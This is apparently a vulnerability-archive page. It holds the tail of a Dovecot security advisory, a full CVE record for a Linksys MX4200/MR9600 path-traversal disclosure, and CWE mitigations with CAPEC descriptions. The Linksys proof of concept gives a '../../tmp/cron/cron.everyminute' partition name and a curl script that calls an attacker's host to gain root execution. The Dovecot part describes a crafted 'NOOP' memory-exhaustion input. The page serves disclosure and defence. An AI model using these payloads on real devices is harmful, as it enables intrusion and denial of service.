OX Dovecot CE core 2.4.0\nFirst fixed revision: OX Dovecot Pro core 3.0.5, OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.4\nDiscovery date: 2026-02-24\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nResearcher credits: djvirus@yeswehack\nCVE: CVE-2026-27859\nCVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\nDetails:\nv3.0.2+ regression: Message headers MIME parameter parsing can cause excessive CPU usage. A mail message containing \nexcessive amount of RFC 2231 MIME parameters causes LMTP to use too much CPU.\n\nRisk:\nA suitably formatted mail message causes mail delivery process to consume large amounts of CPU time. No publicly \navailable exploits are known.\n\nSolution:\nUse MTA capabilities to limit RFC 2231 MIME parameters in mail messages, or upgrade to fixed version where the \nprocessing is limited.\n\n\n\n---\n\n\n\nInternal reference: DOV-8816\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 2.3.0\nFirst fixed revision: OX Dovecot Pro core 3.0.5, OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.4, OX Dovecot Pro \ncore 2.3.22.1\nDiscovery date: 2026-02-27\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nResearcher credits: whisperer@yeswehack\nCVE: CVE-2026-27857\nCVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L)\n\nDetails:\nimap-login: Excessive memory usage DoS. Sending \"NOOP (((...)))\" command with 4000 parenthesis open+close results in \n~1MB extra memory usage. Longer commands will result in client disconnection. This 1 MB can be left allocated for \nlonger time periods by not sending the command ending LF. So attacker could connect possibly from even a single IP and \ncreate 1000 connections to allocate 1 GB of memory, which would likely result in reaching VSZ limit and killing the \nprocess and its other proxied connections.\n\nRisk:\nAttacker could connect possibly from even a single IP and create 1000 connections to allocate 1 GB of memory, which \nwould likely result in reaching VSZ limit and killing the process and its other proxied connections. No publicly \navailable exploits are known.\n\nSolution:\nInstall fixed version, there is no other remediation.\n\n\n\n---\n\n\n\nInternal reference: DOV-8818\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 2.3.0, OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0\nFirst fixed revision: OX Dovecot Pro core 3.0.5, OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.4, OX Dovecot Pro \ncore 2.3.22.1\nDiscovery date: 2026-02-28\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nResearcher credits: ilyar@yeswehack\nCVE: CVE-2026-27858\nCVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nDetails:\nmanagesieve-login out-of-memory DoS. Attacker can send a specifically crafted message before authentication that causes \nmanagesieve to allocate large amount of memory.\n\n\nRisk:\nAttacker can force managesieve-login to be unavailable by repeatedly crashing the process. No publicly available \nexploits are known.\n\nSolution:\nProtect access to managesieve protocol, or install fixed version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8830\nType: CWE-287 (Improper Authentication)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 2.3.0\nFirst fixed revision: OX Dovecot Pro core 3.0.5, OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.4, OX Dovecot Pro \ncore 2.3.22.1\nDiscovery date: 2026-03-04\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nResearcher credits: bksparajuli@yeswehack\nCVE: CVE-2026-27856\nCVSS: 7.4 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\nDetails:\ndoveadm: Credentials verified without timing safety. Doveadm credentials are verified using direct comparison which is \nsusceptible to timing oracle attack. An attacker can use this to determine the configured credentials.\n\nRisk:\nFiguring out the credential will le"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1250",
              "description": "CWE-1250",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-20",
              "description": "CWE-20",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-200",
              "description": "CWE-200",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-287",
              "description": "CWE-287",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-294",
              "description": "CWE-294",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-400",
              "description": "CWE-400",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-89",
              "description": "CWE-89",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-90",
              "description": "CWE-90",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:15:21Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/13"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Mar/13"
        },
        {
          "url": "https://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0001.html"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Mar/13"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Dovecot Security Advisory OXDC-2026-0001",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-30189",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59028",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59031",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59032",
              "type": "related"
            },
            {
              "destId": "CVE-2026-0394",
              "type": "related"
            },
            {
              "destId": "CVE-2026-24031",
              "type": "related"
            },
            {
              "destId": "CVE-2026-27855",
              "type": "related"
            },
            {
              "destId": "CVE-2026-27856",
              "type": "related"
            },
            {
              "destId": "CVE-2026-27857",
              "type": "related"
            },
            {
              "destId": "CVE-2026-27858",
              "type": "related"
            },
            {
              "destId": "CVE-2026-27859",
              "type": "related"
            },
            {
              "destId": "CVE-2026-27860",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0235",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/13",
            "automated": true,
            "contentSha256": "cd1c4fc48637eb40c941400f57d5835f8f7b88c32c348352184aedfe5768d08a",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Mar/13",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-03-27T08:06:15Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0235"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:41Z",
    "dateUpdated": "2026-09-11T11:15:21Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0235"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0199

Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-09 10:09
VLAI
Title
[SYSS-2025-001] Linksys MX9600/MX4200 - Path Traversal
Summary
Advisory ID:               SYSS-2025-001 Product:                   MR9600, MX4200 (and potentially others) Manufacturer:              Linksys Tested Version(s):         1.0.4.205530 for MR9600, 1.0.13.210200 for MX4200 Vulnerability Type:        Path Traversal (CWE-22) Risk Level:                Medium Solution Status:           Open Manufacturer Notification: 2025-03-18 Solution Date:             - Public Disclosure:         2026-02-12 CVE Reference:             Not yet assigned Author of Advisory:        Christian Zäske, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: Linksys MX4200 is a Wi-Fi mesh router targeting home users. The manufacturer describes the product as follows (see [1]): "This router supports the latest Wi-Fi® 6 (802.11ax) standard for next-level streaming and gaming. Its powerful WiFi 6 mesh coverage offers faster WiFi performance for lag-free online gaming and simultaneous streaming to every device and corner of your home." Due to missing neutralization of special elements, the contents of a USB drive partition can be mounted in an arbitrary location of the file system. This can also result in the execution of shell scripts in the context of the root user. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The Linksys MX4200 (and other models) provides a USB port to share the contents of a USB drive as an SMB share in the local network. Internally, the partition is mounted at "/tmp/anon_smb/<partition name>" by the script "/etc/init.d/service_tsmb.sh". Because the script does not neutralize special elements such as "../", the mount point can be changed to arbitrary locations by setting the name of the partition on the USB drive to "../../", followed by a path of the file system on the device. By choosing a path where scripts get executed on a regular basis, this vulnerability can be used to execute commands in the context of the root user. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): To execute the following shell script, the partition of the USB drive can be named "../../tmp/cron/cron.everyminute" and the script can be copied to the root of this partition. After plugging the USB drive into the device, the partition will be mounted at "/tmp/cron/cron.everyminute". The following script shows the contents of the file "exploit.sh", which will be mounted into the "cron.everyminute" directory:   #!/bin/bash   curl http://192.168.2.57/$(whoami) Because this directory is used to run every script it contains for every minute, the script will get executed in a maximum of 60 seconds. On the attacker's computer, a simple HTTP server is spawned. After plugging in the USB stick, the previous script is executed and access to the HTTP server is logged, as can be seen in the following snippet:   $ python -m http.server 80   Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...   192.168.2.1 - - [01/Jan/2024 13:00:00] "GET /root HTTP/1.1" 404 - ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: There is no known solution yet. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2024-11-11: Vulnerability discovered 2025-03-18: Vulnerability reported to manufacturer 2025-04-07: First response from manufacturer 2025-04-14: Requested an update from manufacturer 2025-05-06: Acknowledgment of vulnerabilities by the manufacturer 2026-02-12: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Linksys MX4200     https://support.linksys.com/kb/article/952-en/ [2] SySS Security Advisory SYSS-2025-001 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-001.txt [3] SySS Responsible Disclosure Policy     https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Christian Zäske of SySS GmbH. E-Mail: christian.zaeske () syss de Key ID: 0x7B00D164A32F9AC9 Key Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: https://creativecommons.org/licenses/by/3.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Impacted products

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Linksys MX9600/MX4200 -",
          "vendor": "Linksys",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Christian Z\u00e4ske via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0SYSS-2025-001\nProduct:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0MR9600, MX4200 (and potentially others)\nManufacturer:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Linksys\n\nTested Version(s):\u00a0 \u00a0 \u00a0 \u00a0 \u00a01.0.4.205530 for MR9600, 1.0.13.210200 for MX4200\nVulnerability Type:\u00a0 \u00a0 \u00a0 \u00a0 Path Traversal (CWE-22)\nRisk Level:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Medium\nSolution Status:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Open\nManufacturer Notification: 2025-03-18\nSolution Date:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0-\nPublic Disclosure:\u00a0 \u00a0 \u00a0 \u00a0 \u00a02026-02-12\nCVE Reference:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Not yet assigned\nAuthor of Advisory:\u00a0 \u00a0 \u00a0 \u00a0 Christian Z\u00e4ske, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nLinksys MX4200 is a Wi-Fi mesh router targeting home users.\n\nThe manufacturer describes the product as follows (see [1]):\n\n\"This router supports the latest Wi-Fi\u00ae 6 (802.11ax) standard for\nnext-level streaming and gaming. Its powerful WiFi 6 mesh coverage\noffers faster WiFi performance for lag-free online gaming and\nsimultaneous streaming to every device and corner of your home.\"\n\nDue to missing neutralization of special elements, the contents of\na USB drive partition can be mounted in an arbitrary location of the\nfile system. This can also result in the execution of shell scripts\nin the context of the root user.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Linksys MX4200 (and other models) provides a USB port to share the\ncontents of a USB drive as an SMB share in the local network.\n\nInternally, the partition is mounted at \"/tmp/anon_smb/\u003cpartition name\u003e\"\nby the script \"/etc/init.d/service_tsmb.sh\". Because the script does not\nneutralize special elements such as \"../\", the mount point can be changed\nto arbitrary locations by setting the name of the partition on the USB\ndrive to \"../../\", followed by a path of the file system on the device.\n\nBy choosing a path where scripts get executed on a regular basis, this\nvulnerability can be used to execute commands in the context of the root\nuser.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nTo execute the following shell script, the partition of the USB drive\ncan be named \"../../tmp/cron/cron.everyminute\" and the script can be\ncopied to the root of this partition. After plugging the USB drive into\nthe device, the partition will be mounted at \"/tmp/cron/cron.everyminute\".\n\nThe following script shows the contents of the file \"exploit.sh\", which\nwill be mounted into the \"cron.everyminute\" directory:\n\n\u00a0 #!/bin/bash\n\u00a0 curl http://192.168.2.57/$(whoami)\n\nBecause this directory is used to run every script it contains for every\nminute, the script will get executed in a maximum of 60 seconds.\n\nOn the attacker\u0027s computer, a simple HTTP server is spawned. After\nplugging in the USB stick, the previous script is executed and access to\nthe HTTP server is logged, as can be seen in the following snippet:\n\n\u00a0 $ python -m http.server 80\n\n\u00a0 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...\n\u00a0 192.168.2.1 - - [01/Jan/2024 13:00:00] \"GET /root HTTP/1.1\" 404 -\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThere is no known solution yet.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2024-11-11: Vulnerability discovered\n2025-03-18: Vulnerability reported to manufacturer\n2025-04-07: First response from manufacturer\n2025-04-14: Requested an update from manufacturer\n2025-05-06: Acknowledgment of vulnerabilities by the manufacturer\n2026-02-12: Public disclosure\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] Product website for Linksys MX4200\n\u00a0 \u00a0 https://support.linksys.com/kb/article/952-en/\n[2] SySS Security Advisory SYSS-2025-001\nhttps://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-001.txt\n[3] SySS Responsible Disclosure Policy\n\u00a0 \u00a0 https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Christian Z\u00e4ske of SySS\nGmbH.\n\nE-Mail: christian.zaeske () syss de\n\nKey ID: 0x7B00D164A32F9AC9\nKey Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS website.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 3.0\nURL: https://creativecommons.org/licenses/by/3.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:09:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/10"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/10"
        },
        {
          "url": "http://0.0.0.0:80/"
        },
        {
          "url": "http://192.168.2.57/$"
        },
        {
          "url": "https://creativecommons.org/licenses/by/3.0/deed.en"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.linksys.com/kb/article/952-en/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        },
        {
          "url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-001.txt"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/10"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2025-001] Linksys MX9600/MX4200 - Path Traversal",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0199",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/10",
            "automated": true,
            "contentSha256": "ad2608d3b5842e8443985c8493758e315f2e2443b842cda321d4fab259f90b97",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/10",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-12T10:12:30Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-09T10:09:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0199"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design Operation

Strategy: Attack Surface Reduction

  • Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
  • This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.